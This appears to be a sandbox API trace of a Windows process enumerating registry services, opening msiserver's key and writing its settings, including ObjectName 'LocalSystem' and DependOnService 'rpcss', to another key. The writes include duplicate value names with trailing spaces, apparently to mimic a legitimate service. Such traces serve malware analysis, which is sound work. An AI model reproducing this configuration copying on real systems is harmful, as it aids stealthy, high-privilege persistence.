RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0256.304] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0256.304] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0256.304] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0256.304] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0256.304] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0256.351] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0256.352] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0256.352] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0256.352] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0256.352] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0256.352] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0256.352] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0256.352] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0256.352] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0256.352] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0256.352] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0256.352] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0256.352] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0256.352] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0256.353] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0256.353] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0256.353] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0256.353] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0256.353] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0256.353] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0256.353] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0256.353] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0256.353] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0256.353] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0256.353] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0256.353] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0256.354] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0256.354] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0256.354] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0256.354] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0256.354] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0256.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0256.354] RegCloseKey (hKey=0x148) returned 0x0 [0256.354] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0256.354] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0256.354] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0256.354] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0256.354] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0256.354] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0256.354] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0256.355] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0256.355] RegCloseKey (hKey=0x80000002) returned 0x0 [0256.355] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0256.355] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0256.355] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0256.355] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0256.355] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0256.355] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0256.355] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0256.355] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0256.355] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0256.355] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0256.356] RegCloseKey (hKey=0x150) returned 0x0 [0256.356] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0256.356] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0256.356] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0256.356] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0256.356] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0256.356] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0256.356] RegCloseKey (hKey=0x148) returned 0x0 [0256.356] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0256.356] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0256.356] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0256.356] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0256.356] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0256.356] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0256.357] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0256.357] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0256.357] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0256.357] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.357] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.358] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.358] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.358] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.358] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.358] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.358] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.358] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.358] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.358] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.358] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.358] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.358] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.359] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.359] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0256.359] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0256.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0256.359] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0256.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0256.359] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.359] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.359] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.359] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.359] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.359] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.360] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.360] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.360] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.360] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.360] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.360] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.360] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.360] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.360] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.360] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0256.360] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0256.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0256.361] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0256.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0256.361] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.361] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.361] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.361] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.361] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.361] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.361] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.361] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.361] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.361] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.362] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.362] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.362] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.362] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.362] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.362] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0256.362] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0256.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0256.362] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0256.362] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.362] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.362] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.363] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.363] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.363] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", 